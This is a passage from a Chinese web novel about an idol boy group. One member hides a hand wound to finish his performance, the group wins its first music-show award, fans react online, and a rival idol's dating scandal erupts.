只一句话，就让KtM的成员再次沉寂。 “首先，不是你们，经纪人和团队是一体的，你们就代表着我；其次，为什么不争取，当然是因为公司不会给一个失败品投资，二专能出都是公司还有想法再试探一次；最后，为什么我现在会说？因为我从你们的眼睛里看到了渴望。” “从现在开始，再破茧一次吧。” “利用好二专剩下所有的舞台机会，尽情的尽力的把最好的自己展现给粉丝。让他们知道，他们的爱豆还在，她们追逐的那颗星星也还在。” KtM几人僵在原地，没人说话，经纪人也不催促。 最后队长站出来，“我们再试一次吧？” “就像哥说的，我们再破茧一次！” 剩下的几人神色几经变化。 也许是无法忍受在自己停滞不前时同期的男团却变得更好，也许是回忆起为了出道那段沉默练习的时光，也许是终究舍不得舞台上那束追逐着的光，或者舞台下那一双双满含期待与喜爱的眼睛。 “好。” 江翰飞这边下台之后找到造型师说明情况，造型师连忙带着他往后台去。欣怡接到造型师电话，带着随身的急救处理包赶过来，两边在中间的走廊遇见。 “我看看。”欣怡找了一个灯光好一点的地方蹲下，拉过江翰飞的手背。 “嘶——！” 看清楚伤口，欣怡被吓得吸了口气，“怎么这么严重！？” 江翰飞确实被金属划伤了。 一道血红色的划痕从手背小指骨结的地方开始，斜斜穿过整个手背。伤口中间部分拉出了撕纸似的参差不齐的切口，最深的地方在手背最中间，甚至能看到两侧被划开伤口里侧的肉。而且因为他在舞台上偷偷在衣服上擦拭的动作，袖子都沾了血不说，整个伤口因为他擦拭的动作被拉扯得厉害，手背上的伤口边缘泛起红肿，伤口处是皮肉外翻，还在不断渗出血。 “你这必须得找医生处理。”欣怡原以为说的划伤只是划了一道小口，带着医用绷带和创可贴可以先处理一下。但江翰飞这伤口太严重，需要先清创再包扎。 “不行，刚刚在舞台上因为被划到，我当时肯定有动作没做好。”江翰飞立即拒绝，“必须要录制第二次。” 欣怡眉头高高皱起，打歌舞台录制间隙都很短，来不及找医生处理过再去。而SterLa-虽然现在势头好，台里也在对他们示好但还算不上大势男团，不能让台里等着落下个小牌大耍的名头。这下欣怡犯难，一时不知道该拉着江翰飞先处理，还是放江翰飞先回去录制舞台。 “欣怡姐你带了手套吗？”江翰飞突然问道。 “你是想用手套先遮住伤口？”一旁的造型师似乎明白江翰飞的想法插话道，见他点头，说道，“我那儿有造型用的皮手套，和你今天这衣服能搭。” 说完造型师看看江翰飞又看看欣怡，等着他们谁拿主意。 江翰飞看着欣怡说道，“欣怡姐，我就先用绷带压着止血，再戴着手套挡住。等我们录制结束了立马就去处理伤口。” 他说的坚决，本就摇摆不定的欣怡下意识听从了江翰飞的意见。 耽误一会会儿应该没关系吧？ 欣怡琢磨着，点点头，“那行。”转头对造型师说道，“你先去拿手套吧，得快点，没时间了。” 造型师飞奔去休息室拿手套，欣怡从急救包里拿出医药绷带轻轻清理掉伤口溢出的血。再重新取出一份新的缠绕在江翰飞手掌上。 欣怡小心翼翼地操作，时不时打量着江翰飞的神色。 想着如果他露出疼痛的神色的时候可以调整自己的力度，下手更加轻一些。 可惜江翰飞全程垂着眼睛看着他的手背，神色没有任何变化，仿佛这受伤还在渗血的手不是他的似的。 “来了来了！”造型师气喘嘘嘘跑回来，蹲在两人旁边。 皮手套手掌部分做的肥大，正好适合他裹了几层绷带的手。江翰飞干脆地把手伸进手套，系紧手腕。 戴好了试试握拳，确认没有问题之后对着造型师和欣怡点头说道，“没问题了，我先回舞台。” 说完不等二人反应，径直往舞台方向奔去。 江翰飞从进入公司开始，整个人的身形变化不少。 刚进公司还是一根黑瘦黑瘦的干柴。 也许是又涨了一岁多，身材也变得挺拔起来，干柴变成小树。 至少他奔跑的背影看起来已经完全是个顶天立地的成熟男性了。 欣怡和造型师站在原地顿了一会儿，回过神来也追着江翰飞往舞台跑去。 “SterLa-，第二次录制。” 江翰飞赶到的时候刚好听到导播喊话。 “来了！” 见江翰飞久久未归，不知道发生什么事儿的吴星雨着急，见他出现在入口处，暗自拖慢了登台的速度，等着江翰飞跑过来一起。 等江翰飞和他并肩，吴星雨甩过去一个担心的眼神：没事儿吧？ 江翰飞笑着回了吴星雨一个眼神，示意对方放心。 “3 2 1！” “开始——” 人声落下，伴奏声响起。 舞蹈动作里有不少吴星雨和编舞老师一起改编的中国剑舞的动作。这些动作要求的身体幅度大，还有需要扭动手掌的动作。 每次伸展手臂或者握拳，江翰飞都能感受到手背上的撕裂感和刺痛感。 但是越痛，他越清醒。 这是在舞台上，这是他们二专的第一次打歌舞台。 台上有队友，台下有粉丝。 绝对不可以出问题。 江翰飞努力控制着自己的表情，眼神里带着一股狠劲儿，却意外合了舞蹈的情绪。 “咦，阿飞加了个皮手套？”台下坑里某位站姐发现江翰飞的造型里多加了一个皮手套。 原来刚刚去后台是去戴手套去了啊？ “还挺帅呢！和他的衣服好搭，帅死了！” 站在更后面的朱朱听见了前面站姐的自言自语。 刚刚江翰飞从门口跑出来她就发现戴着手套，只是造型加个手套，有必要江翰飞也去后台吗？还去了这么久，要跑着回演播室。 压下心中的疑虑，朱朱强迫自己先专注江翰飞现在的舞台表演。 痛带来的清醒让江翰飞体验到了另一种舞台表演的感觉。 出道专和平日的舞台表演他会用尽全力。 但现在他发现，也许有的情绪不用做的太满。满则溢，动作太过也会显得不好看，也不好控制自己的表情。 下意识的，他开始尝试克制自己某些动作的力度。 在粉丝看来就是江翰飞控制变得更好了。身体的每个动作仿佛都有魔力一样牢牢吸引着他们的视线，她们像是向日葵一样，眼神直直地跟着江翰飞这个小太阳转。哪怕是江翰飞中途下台到一边等待，他们也完全挪不开视线。 怎么感觉今天的阿飞更帅了呢！！ 第57章 很快，第二次录制结束。 但是这次录制葛文山在走位的时候，有一个小动作稍微走形，差点和前面的于立果撞上。 几人商量一会儿，决定趁着后面排的男团还没来的时候，再录制一次。 很快第三次舞台录制开始。 造型师和欣怡站在舞台边上，欣怡一边手指飞快的在键盘上发送着什么，一边时不时抬头观察着江翰飞的状态。生怕江翰飞在舞台表演期间出现什么不好的身体反应。 幸好江翰飞在第三次录制的全程表现得都很正常，甚至有的动作因为有第二次录制的经验发挥得更好。 “SterLa-录制结束。下一组准备。” 第三次录制几人还算满意，正好下一个男团已经在候场，是温温热热的前辈团。他们也不好耽误太久。 SterLa-几人站在舞台上对着台下的观众们鞠躬示意，跟粉丝们一边打着招呼互动一边从另一侧下台。 欣怡在听到说录制结束时就从从舞台后面的廊道绕到江翰飞他们下台的出口等着。 站在拐角处一见到他们的身影，立即不自觉地迎上去几步，下意识看了眼江翰飞受伤的手，说道，“快走吧，车已经开到车库等着，公司的医生也约好在等着了。” 听见欣怡说话的其余几人一惊，医生？谁受伤了？ 敏锐察觉到欣怡看江翰飞动作的于立果上前一步站到江翰飞身侧，“阿飞，你怎么了？” 一边打量着江翰飞，没发现明显受伤的地方随即又望向欣怡。 欣怡看着几人齐齐望过来的视线，“阿飞的手被划伤了，公司的医生在等着；我们先回去，车上再细说。” 听欣怡这么说，几人忙不迟地跟上她的脚步往车库走去。 今天他们录制的顺序早，这会儿才下午一点过，台里没结束录制，外面也没有粉丝等着。 车很顺畅地一路开往公司。 “我看看。”在车上吴星雨凑过来，表情严肃地想看看江翰飞受伤的地方。 江翰飞笑着说，“没事儿，已经简单处理过了。” 一边说一边举起带着手套的手挥挥，但就是不把手套摘下来。 坐在前座的欣怡听着憋气又心疼，那叫处理吗？那只是把绷带缠上去了。 于立果直接蹲到江翰飞车座旁边，捏着江翰飞的手腕，就想直接把手套摘下来。 江翰飞轻轻地避过于立果的动作，“于哥，没事的，就是被划了个口子。这个手套摘了不好放。” 他能感受到，绷带应该都被浸湿了，手掌整个发凉，指尖还有一点又冷又麻的感觉。 现在手套和绷带黏在一起，要取下的话大概会牵扯到手背上的伤口。 于立果不笑的时候看起来格外的严肃，盯着江翰飞的眼睛看了好一会儿，又把视线转到他戴着手套的手。 看欣怡着急的样子也不是什么小伤口，要是因为强行摘手套被拉扯到伤口估计更疼。况且现在摘了只是满足他们想看，没药没医生，他们也不能处理。 于是眼神来回两次，确定江翰飞现在不想让他们看，一言不发地又坐回自己的位置。 几人见江翰飞说什么也不给看，没再强求。索性录制地离公司不远，这会儿还有十几分钟就能到公司，SterLa-几人都安静地坐着。 车上的气氛过于安静，和平时大家一起笑笑闹闹地回去太不一样。欣怡也没跟司机师傅说江翰飞手受伤的事，只是说有急事要回公司处理。一反常态的安静引得常给他们开车的司机师傅心里还在犯嘀咕，暗自猜测着他们是不是在闹什么矛盾。 没一会儿，车稳稳停在公司门口。 一下车，欣怡带着江翰飞直奔最近的一个休息室。她给江翰飞处理的时候拍过伤口的照片，早早发给公司的医生，让他备好药品等在最近的休息室。 医生和江翰飞对坐，轻轻摘着手套，一边摘一边问，“有牵扯到伤口吗？牵扯到痛的话就说。” “没有，不是很疼。”江翰飞坐在椅子上，SterLa-其余几人在他周围站了一圈，神情紧张地看着医生操作。 把手套摘下来，绷带已经被血浸染一片。 于立果捏着椅子靠背的手一紧。流这么多血，伤口肯定不小。 禹安撇过头去，又忍不住皱眉转回来继续看。 “你这伤的有点深啊。”医生拆开绷带，露出手背上的伤口，“这是被什么划伤的？这伤口比较深又包扎封闭了一段时间，还是打一针破伤风保险些。“ “就是被铆钉划了一下。”江翰飞迟疑片刻才回答道。 这下几人的目光都集中到吴星雨身上。 他今天穿的就是一件带铆钉的衣服，先前的衣服造型老师不满意，这件衣服是今天打歌前临时给吴星雨换的。 吴星雨先是一愣，反应过来，在第一场打歌中间走位的时候，有一段是和江翰飞离得特别近。 难怪江翰飞恰好时在第一场打歌结束之后就跑去后台不知道干什么，原来是去包扎伤口了！ “是我的衣服划到的吗？”吴星雨声音很低，满是自责。 “没事的，是我自己走位的时候没控制好距离。”江翰飞就知道吴星雨会多想。 自己队里的几个哥都很好，就是爱把责任往自己身上揽。先前的于立果是这样，现在的吴星雨也是这样。 “其实是因为这件衣服我们没有穿着正式彩排过，没有控制好走位的经验。”见吴星雨还是低头不说话，江翰飞赶紧安慰道，“下次就不会了。” 哪还有下次。吴星雨想着，把脱下衣服扔在一边。 又转头跟欣怡说，“欣怡姐，吃一堑长一智，我们吃个教训，以后没有试过的衣服尽量不要穿吧？” 欣怡点点头记下，这次的确是造型师也有问题。 服装造型搭配是早在专辑制作期间就应该准备好的东西。在制作期间他们会有专门的行程安排试服装确定搭配，一般打歌期间会跟着市场反馈或者潮流元素做一些增减。但这到二专第一场打歌不仅临时换了造型里的外套，还导致有成员因此受伤，确实是不应该。 医生用低浓度的生理盐水冲洗着伤口，直到伤口处的细小血痂和杂物都被冲洗干净。 禹安看得从头到尾眉头就没放平过，“痛你就说一声。“ “对，痛的话你就说一声。”医生也说道。 江翰飞却还是那句，“没事，不怎么痛。” 医生听见这句抬眼看了江翰飞一眼，又继续给他清创，消毒，抹药。 江翰飞没觉得自己说的有什么问题，现在的确是不怎么疼了。 最疼的时候是刚刚被划伤和第二场表演时手的动作一直反复拉扯着伤口。到现在手已经渐渐觉得麻木，又没有再撕扯到伤口，没什么痛感。 况且以前他有次划伤得比这次还重，也只是去校医务室简单的冲洗包扎，后面也没什么事儿。 只是“医生，这个手包扎之后还能活动吗？”江翰飞看着正专心给他包伤口的医生问道，“我们后面的舞台还需要手做一些动作。” 医生是公司长期聘请的，在公司园区内有专门的医务诊所，练习生和公司的员工们有个什么小病小痛或者磕磕碰碰的都是直接找他。在乐狮娱乐干得久了，对这些唱歌跳舞的人会受的伤和心理一清二楚。他抬抬眼，知道这是个要上台表演的，但还是不满他们不把自己的伤当回事儿，“还做动作呢？你这手伤口可不浅，一时半会儿愈合不了。” “你要是再加上做动作，估计一半又得把伤口崩开。” “有什么办法不影响我后面的表演吗？”江翰飞有点着急，这才刚开始二专的第一场打歌，后面的打歌行程排了整整三周，加起来得有十几场打歌舞台。总不能一直不上吧？ “我的建议是休息一段时间，不要再把伤口崩开。不然你反反复复崩开伤口，它一直愈合不了，还会反复感染导致伤口疤痕增生。” “就是手背会留疤的意思吗？”欣怡接过话头。 “正常愈合会不会留疤得看他体质，但要像他刚刚说的那样，还没愈合好久反复做动作拉扯伤口，很大几率会导致疤痕增生。” 这下江翰飞也不敢再乱说要做舞蹈动作。倒不是他自己在意留疤，而是手背的位置太明显，以后被拍到粉丝担心不说，公司接需要露出手的代言也不好操作。 “先正常包扎吧。”唐君君从门外进来，她站在那儿好一会儿，只是屋内的人都紧张着江翰飞的伤口才没人注意到她的到来，“伤口正常愈合结疤之后再说。” “或者我手腕以后不动，不牵扯到手背的话可以吗？”江翰飞另一只手捏住受伤手的手腕，向医生示意，“就这样，只要不拉扯到伤口应该就没问题吧？” 医生大概知道他的心思，“嗯，理论上来说可以。” “那我戴个手套上台，手掌扭动的部分我不做动作应该没问题吧？”江翰飞转头去看唐君君，眼里露出期待。 “戴手套的时间不能太久，伤口长期捂着会发炎，只会让你的手背上的伤更严重。”医生不留情面。 “那我就上台表演戴，完了立即取下来。”江翰飞争取。 唐君君看着江翰飞期待混合着恳求的眼神，还是点头同意了。只是要求不能有发炎的情况，一旦出现恶化的情况，就停止他二专的打歌活动。 包扎完一行人又赶回打歌录制演播厅，他们还得参与台里的实时放送一位录制。 “恭喜，我们的一位获得者是” “是” “SterLa-！” 刚赶回来的SterLa-：啊？ 第58章 纷纷扬扬的礼花洒下，主持人领着全场其他团队开始鼓掌。 SterLa-听着熟悉的伴奏响起，他们终于从震惊中缓过神来。 一位！ 他们？真是他们？！ 他们拿到一位了！！ 今天的ICS一位是SterLa-！！ 激动，兴奋，开心从他们每双相互对上的眼里溢出。 二专音源成绩和销量成绩都不错他们是清楚的，但是真没想过能这么快拿到自己的第一个一位。 吴星雨代表SterLa-从主持人手里接过一位奖杯，脑袋发懵，只剩下嘴巴机械式地说着获奖感言。 “真的感谢所有听我们的歌曲，看我们舞台的人，感谢公司的工作人员对我们的照顾；最最最感谢的是我们的粉丝，感谢有你们一直在，也感谢你们，”吴星雨喉咙滚动几下，又强行咽下，控制自己维持正常声音，“感谢你们给我们的荣耀！” 吴星雨说完其余队友也没有要接过话筒讲话的举动，主持人只得赶紧接话串场，宣布本期打歌结束。 场内开始播放二专主打曲的伴奏，其他参与打歌录制的团队陆续离场。 慢慢台上只剩下SterLa-几人。缓过劲儿来的他们脑子终于消化掉这个意外之喜，眼神从不可置信变得亮晶晶的兴奋，在台上又蹦又跳，兴奋得忘乎所以。台下SterLa-的粉丝也开心得不行，跟着自家爱豆一起蹦蹦跳跳着尖叫，嗓子什么的不要了！ “恭喜SterLa-拿到第一个一位！” “SterLa-就是最棒的！” 粉丝们早在他们打歌行程出来当天就看过同期打歌的团：没有大势男女团，没有音源怪物。 在所有同期打歌的团里，SterLa-的销量分肯定是拉满的，只有音源分有另一个乐队跟他们不相上下。 保险起见，超话和粉群早提前一周就开始召集现场投票小分队，势必要把10%的短信投票分也拉满。 结果令人非常满意，不仅拉满了销量分和投票分，音源分也只比乐队少了两百分不到，成功以高分拿下ICS本期的一位，断崖第二接近3000分。 于立果拉住正蹦高的江翰飞胳膊，“小心小心！” 移开话筒，“你手上的伤别忘了，注意着点！” 江翰飞刚刚太开心，撒欢太过，蹦起来的时候一时忘了自己右手还裹着绷带。 被于立果一提醒，立马老实。 这要被君君姐看见，他担心自己后面几场都上不了舞台。 “一位一位一位，我们是一位！”禹安从舞台另一边兴奋地冲过来，堪堪在于立果要拦住他时刹住车，把奖杯塞进江翰飞的怀里，“奖杯给你。” 江翰飞受伤的右手老实地没动，左手用手指夹住话筒把奖杯拿在手里。 其实打歌节目的奖杯和颁奖典礼的奖杯一样，现在拿到手上的都是没有名字的，下台之后就得还回去给主办方刻名字，做好之后再给他们。但江翰飞看着这个奖杯怎么看怎么好看，怎么看怎么顺眼。 造型好看，透明的材质好看，灯光反射的光也好看！ “阿飞，举起来！”台下有粉丝朝着江翰飞喊道，“奖杯，举起来！” 江翰飞抬眼望去，是一位经常来看他舞台的站姐，上次去演唱会她也在。 他的安可Part刚过，把手里的话筒给于立果暂时拿着，举起手里的奖杯朝着声音来源的地方晃了晃。 台下的站姐手里的相机咔嚓咔嚓地响个不停。 见演播厅的工作人员朝她走过来，立即取出相机里的内存卡偷偷塞给旁边的朋友。工作人员们过来检查她的相机，发现卡槽里没有内存卡就知道她已经先取出来了。但拿她也没办法，只把她叫到一边单独说了一会儿话，主要核心就是以后不能再带着相机或者其他的拍摄设备进入演播录制厅。 女生敷衍地嗯嗯答应着，眼睛还一直看着旁边台上的江翰飞。 怎么可能不带嘛，阿飞的每一场打歌都想拍他的直拍珍藏啊！而且今天的江翰飞魅惑能力一定是又升级了，在取景框内看着他都觉得被勾得快没了魂。 工作人员没多说就放女生离开，最开始本就想睁一只眼闭一只眼，不去管他们的。毕竟来拍的人太多，哪怕禁止他们携带摄像机进入演播厅，也能想办法绑在大腿上带进来。 朱朱刚刚见工作人员过来，早就机警地收起了手里的摄像机。 演播厅观众席的位置距离舞台有一小段距离，她视力绝佳，反复观察之后，朱朱确认，江翰飞的手一定是出了什么问题。 她没记错的话江翰飞第一场打歌中间离开过场内一会儿，回来之后戴着一个皮手套。现在最后的一位录制，他又换了一副手套不说，右边的手一直没有动过。哪怕话筒和奖杯一只手拿不下也不会放到另外的手上。 这是不是受伤了手不能动？ 朱朱心里着急。 是被撞到了，扭到了还是怎么了？严不严重啊？ 但现场这么多开心的粉丝，台上的人也正开心着。她又不能直接大声问。 不仅朱朱，正在看ICS直播的粉丝们也发现了这个问题。 江翰飞的右手一直没有动过也没有使用过。 “有没有在现场的姐姐？是我的错觉吗？总感觉阿飞的右手一直垂着不动呢？” “我也是，之前打歌舞台的时候还是正常在做动作的。” “恭喜崽崽拿到自己的第一个一位，顺便这个到底怎么回事儿啊，看得我心慌。” “从舞台到一位我都完全程，队友们真的也有在小心避开阿飞的右手。” 安可的时间不长，就是一首曲子的时长，结束后就准备退场了。 禹安抹抹额头上刚刚蹦跶出来的汗，用力地向粉丝挥手，“谢谢大家！” 江翰飞也接着大声喊，“感谢大家给我们的第一个一位！” “阿飞，你的手是不是受伤了？”伴奏已经开始重新播放第二遍作为他们的退场音乐，台下忽然传来粉丝的叫喊声，让大家愣住。 都戴着皮手套，遮的严严实实了还能看得出来？ 沉默等于默认。 虽然君君姐说受伤能不告诉粉丝就不告诉，被粉丝知道也没关系，但配合公司做好安抚就是他的责任。 江翰飞举起受伤的右手笑着朝他们挥挥手。 粉丝们这下都知道了，他确实是手受伤了。 其余团队的粉丝早在安可的时候就陆续离开，现场只剩下SterLa-的粉丝和想看热闹到底是怎么回事儿的人。 厅内的伴奏缓慢流淌，声音比先前安可时小很多，进行曲的伴奏竟也给人一种静谧感，好像也在跟台下的人一起等江翰飞说话。 “大家不要担心，只是不小心被划到了一个小口，已经做过处理。”江翰飞上前几步坐到了舞台边上，没用话筒，对着一双双担忧的眼睛安抚道，“很快就会好，但后面的打歌可能不太方便做手部动作，请大家多担待。” “很抱歉第一场舞台就出现意外，导致没能给大家呈现最完美的舞台。” 台上的于立果和吴星雨同时拍了拍江翰飞的后脑勺，“说什么呢！” 禹安控制着自己不要把无语的表情露出来。 江翰飞用没受伤的手摸摸后脑，“等手恢复好，我一定专门找机会再给大家表演一次。” 粉丝们急死了，心里狠狠吐槽自家的崽子怎么抓不到重点。 你都受伤了，谁还在意这些啊？ “什么时候能好啊？” “疼吗？” “是不是第一场就受伤了啊？怎么一直没说呢？后面还跳这么激烈的舞。” 台下粉丝们七嘴八舌担忧地问着。 问题很多，声音也很嘈杂，但江翰飞一点不恼，耐心地回答着粉丝们担忧的问话。 “很快的。伤口很小。” “也不疼，没多少影响。” 江翰飞难得做个Wink，露出一点活泼气息，“主要是怕以后留疤不好看。到时候你们脱粉怎么办？” “谁会脱粉？！瞧不起谁呢！” “回去好好休息，别太劳累，我们会等你的！” “江翰飞你小子好好说话。” “如果网上谁关心我问到了，也麻烦大家跟他们解释一下，真的不严重，我会尽快恢复的。” 江翰飞不笑的时候看起来清冷又具有攻击性，经常和葛文山一起被放进冷脸帅哥合集里。但与葛文山不同的是他笑的时候眼睛会弯成小说里常写的月亮形，嘴边还有一颗不太明显的梨涡，整个人变成微甜的感觉。 “别尽快了！你安心养着吧！” 演播厅的工作人员已经散完，只剩下两个工作人员在整理场地，眼看着也快整理完了。 “到这儿吧。”唐君君站出来结束了江翰飞和粉丝们简单的小互动，“谢谢各位来参加SterLa-的打歌，公司会好好照顾江翰飞的，大家回去的时候也注意安全。” 唐君君让SterLa-几人先回后台，他们不走，粉丝们是不会动的。 粉丝们都知道这是SterLa-的主要负责人，能决定SterLa-很多事情，不管在网上怎么骂公司不作为，骂公司脑子不好，策划不好。现实里对着江翰飞的老大，她们纷纷特别有礼貌地托她好好照顾江翰飞，一边跟自己崽崽挥手道别。 “姐姐麻烦你了。” “一定要好好照顾我们阿飞啊！” “好好照顾江翰飞，下次专辑我买爆！” “感觉怎么样？还疼吗？”吴星雨和江翰飞并排往后台休息室走去。 “没什么感觉了。”江翰飞举起受伤的右手，“有点酥酥麻麻的。” “这是什么形容？”吴星雨脸皱着。 “真没事，你别想太多。” “江翰飞，你小子盗用我台词，记得转我专利费啊。”于立果从后面走过来，避开右手揽住江翰飞的肩。 葛文山拿着奖杯也走过来，“今天拿到第一个一位，我们庆祝下？” 又看了眼江翰飞，再补一句，“阿飞除外，他不能喝。” 江翰飞难得孩子气的把脸皱成一团。 他还没喝过酒，说真的很心动很想尝试一下。 但低头看看自己包着的手，叹口气，算了。 “算了。” 江翰飞听见还以为自己把心里的话说出来来了，抬头一看是禹安，“江翰飞的手受伤了现在不方便，既然是团队的奖项就等他一起喝吧。” 葛文山点点头，“你说得有道理，刚刚没想到。” 散场的时候跟粉丝们说了今天会从地下车库走，让他们别等。 但是他们的车从地下车库开出的时候，还是看到有一堆粉丝站在路边等他们出来。 拿的应援牌大多都是江翰飞的牌牌。这是今天粉丝们见他受伤，有点放心不下他，想再松松他。 一小段路都站满了人，看到他们的车出来也没有人推挤，只是站在边上用力摇晃着手里的应援牌或者大声喊着什么。 车内的隔音做得很好，江翰飞只能看着窗外粉丝们的样子却听不见他们的声音。 他沉默看着车就要开出粉丝们站着的这一段。 江翰飞突然凑到窗边摇下车窗，微微探出半个头，左手用力挥舞着跟她们拜拜。 见江翰飞摇下车窗跟她们打招呼，粉丝们激动地尖叫起来，手挥舞得更加用力。 “啊啊啊啊！” “江翰飞注意安全！” “阿飞小心你的手！！” “明天见宝宝！” 其他几人一愣，随即也都凑到车窗边，把窗户打开跟粉丝们拜拜。 直到车开出粉丝们的视线范围后几人才收回自己探出的脑袋和手。 等他们回位置坐稳，坐在车前排的唐君君才淡淡训了一句，“下次不要随意开窗，不安全。” 第59章 最后安可这段对话视频在结束录制后很快流传到网上。 小蝴蝶们知道江翰飞是带着伤完成舞台，对江翰飞拿到第一个一位的开心劲儿还没过去，情绪就直转而下，泪洒主页和超话。 “我真的心痛，嘴上一直在说‘不严重’‘没事’，但不严重怎么可能第一场舞台完就跑后台去找人呢？江翰飞多能忍痛啊，之前队友在花絮里说他练习被撞青膝盖都没有吭过声。” “什么叫职业爱豆，什么叫敬业精神，那些喊着江翰飞吸血SterLa-的滚过来看看。[微笑]” “手受伤的第一反应是担心舞台不好，担心我们不喜欢。宝贝，你怎么样我都会一直喜欢你的。” “SterLa-真的是个宝藏男团，从出道开始的所有舞台都是全员开麦Live，对我这种ilive人士真的特别有吸引力！江翰飞作为主唱拼盘演唱会那一嗓子惊艳我到现在，现在终于被他受伤也要完成舞台给一脚揣进坑里！” “老公你辛苦了，我一定把你这场直拍刷爆，等我！” 而作为江翰飞粉圈内权威大粉的Fly站姐却一反常态的没有发直拍，也没有说江翰飞受伤的任何情况。 小蝴蝶们都知道，Fly站姐是富婆姐向来是全勤的，不管江翰飞去哪儿，只要是公开行程，她必然在。 先前几次粉圈大事件她也都有发声，这次没出来说话，不少粉丝都在猜测Fly站姐是怎么了，更有好事想吃瓜的发私信问她是不是终于脱粉江翰飞了。 其实没怎么。 朱朱站在路边目送江翰飞他们的车离开后，自己一路沉默着开车回家。 当稳稳坐到自己沙发上时，手里攥着摄像机就一发不可收拾地哭起来，上气不接下得连她自己都觉得好笑。 今天江翰飞在舞台边上默认自己受伤的时候，她就明白第一场打歌里她觉得不对劲儿的地方是什么。在等待江翰飞他们的车出来时，她站在打开第一场打歌舞台的直拍视频，再三确认，的确是那个时候就受伤了。 可是他硬是一声没吭，连表情都没变，一如既往用尽全力去完成舞台。哪怕第一场录制结束离场去后台也好，后面两场录制也好，如果不是最后安可的时候她们发现他的手一直没动，也许他受伤这件事能瞒过整个打歌期。 她从小家境优渥，父母宠爱，既不缺钱，也不缺爱。 只是因为喜欢看舞台，看帅哥才喜欢偶像团体。开始的时候喜欢总是热烈的，每次粉上新偶像都跟飞蛾扑火一般地去追逐，买专辑，看舞台，追行程；但很快喜欢就会被这把火烧得一干二净，只剩下一地灰，她也就此脱身，再扑向下一朵火苗。 直到她遇见了江翰飞。 江翰飞有特地做什么吗？ 好像也没有。 敬业的，舞台好的，会媚粉的好爱豆太多了。对着她叫过女朋友，老婆，亲爱的也数不胜数，还有跟她十指交握的，专门给她写to签的，只要她想就可以抓住所有能与爱豆进行互动的机会。而对比她以前追过的那些爱豆，江翰飞青涩得连签售的时候喊一声“老婆”都觉得害羞喊不出口。 但就这样一个出道不到一年的小爱豆，性格内向，不会说太多感人话的江翰飞，就是让百花丛中过的她觉得踏实。 江翰飞这把火太温柔了，即使在热烈追逐中也温柔得让人觉得温暖。 她这只飞蛾眷恋着这份温暖。 当时一时兴起地改了自己的账号名字成了他第一个站姐，还想着脱粉了大不了就不要这个账号再重新开一个，没想到Fly-Sterne这个账号却成为了江翰飞最大的站姐账号，也成了她生活以外的主旋律。每天睁眼先打开账号看看江翰飞的账号有没有发新东西，自己发的直拍视频效果怎么样，有没有小黑子跑到她账号下来污染环境 就好像突然有着落一般，让她觉得安心又沉溺。 朱朱发泄够了，去卫生间洗把脸，对上镜子的时候才发现哭得眼睛鼻子都红了。 第二天早上八点，大家刷出Fly姐的新博文： 【@Fly-Sterne：没有脱粉。 有时候很感慨，追星就像赌博一样，在开盅之前，谁也不知道我们追逐的那颗星星是怎样的一颗星。追逐的时候真没有一定要得到什么回报的想法，只是喜欢，只是想追逐就去做了。但是如果能得到反馈真的是一件非常开心的事情，这份反馈不是多少钱或者多贵重的礼物或者反应援，而是一种能感受到对方把粉丝放在心上，真正珍视的感受和心意。 很多粉丝都会把自己的爱豆形容成关机就再见的电子蝴蝶，只要他们不出现，我们就没法得知他们的情况；哪怕线下见过真人，也只是短暂的相聚。 但是我更倾向于这是一种双向的形容：他们是星星也是花朵。我们欣赏到他的美丽，用自己的力量为他施肥授粉，期望他能盛放得更美。但也许等不到花朵盛放或凋零，我们中的一部分就会以各种理由飞走和他们再见。飞走的蝴蝶们会去寻找下一朵花，他们也会迎来下一群爱他们的蝴蝶们。也许在某一个时刻，我们都会回想起，曾经有一朵花我全新全意的喜爱过/曾经有一只蝴蝶曾降落过陪伴我走过一段花期。 昨天回家狠狠哭了一场，很久很久没有这样哭过了。哭完坐在沙发上想了一晚上，还是不知道怎么形容自己的感受。 在这儿正式地回复一下所有在私信问我是不是脱粉江翰飞的人。 不脱粉，现在不会，以后也不会！ 我会作为一只小蝴蝶，在他这朵花还在的时间里，一直陪伴他。 只要江翰飞在，我就在。 感谢在几个月前，选择降落到这朵花上的自己。】 “我艹，Fly姐你我早八啊打开这个哭傻了。” “作为小蝴蝶，一起陪伴他吧！[心]” “写的真好，我也会一直在的。” “追星女永远热烈，永远真挚，永远纯爱。” “Fly姐我昨天知道阿飞受伤哭一场，今天看到你的博文又哭一场，不要这么刀我啊呜呜呜呜” “才发现，Fly姐带的这个视频是不是阿飞受伤那场录制的直拍？我看到中间好像有把手背到后面的动作。” 刷到朱朱博文的粉丝们正好哭，被一条评论提醒，众人才发现，这个直拍好像确实不是电视台发送的那场舞台直拍。 “真的！大概1分22秒，阿飞和队长交换位置，在边缘的地方隐隐约约能看到是把手背到后面了。” “那是这个时候就划伤的？” “听现场的姐妹们说一共录制了三场，后面两场都戴着手套，这场应该就是第一场受伤的那场。” “他真的好能忍痛，受伤后连表情都没变。如果不是在安可发现他受伤，是不是他根本就不会说自己受伤了？” “以他的性格，不可能说的。” “” “有的花是美丽的，但也有腐烂的花。你说得对，追星就像是赌博，可惜我赌输了。” “可惜这些被追逐的星星因为爱来得太容易，他们根本就不会珍惜。” “真的不求什么回报，只求他们做好自己的事业，他们能越来越好就是对我最大的情绪反馈。可惜太多爱豆连这点都做不到。” “” 小蝴蝶们被江翰飞的受伤直拍心疼得直哭。突然发现自家大粉的博文下面出现一些奇奇怪怪的声音。 顺着他们的账号一看，居然都是前辈团KtR徐寂岸的粉丝。 小蝴蝶们：？ 不是，江翰飞和徐寂岸有什么交集吗？ 而且这发言，怎么感觉是脱粉的前辈粉丝团来观光啊？ 没等她们懵逼多久，一条空降热搜让她们瞬间明白：#徐寂岸私联。 点进词条里，热门置顶的博文是徐寂岸家一位大站姐的脱粉博文： @岸边泊舟：本来不想搞得这么难看，只想安静地脱粉，但总有人来挑战我。那就让你们看看你们粉的到底是个什么样的垃圾人吧！ 这条博文下配了七八张图还有几个小视频。 点进去一看，好家伙，每一张图里的徐寂岸都搂着不同的女生，小视频里是他在地下车库的车里和女生接吻的视频，一共四个视频，视频里的女生也都不一样。 这条博文上来直接就放雷神锤，瞬间吸引了所有人的关注。 KtR本就是热门的男友风男团，以亲和粉丝，有男友既视感著称。其中徐寂岸更是KtR的大Top。 徐寂岸的粉丝已经被震傻了。平时活跃的超话和粉群里一片寂静，只能看见群里的人数和超话的粉丝数一直在降。 KtR的团粉们放在键盘上的手也打不出字，一时间又伤心又恶心。 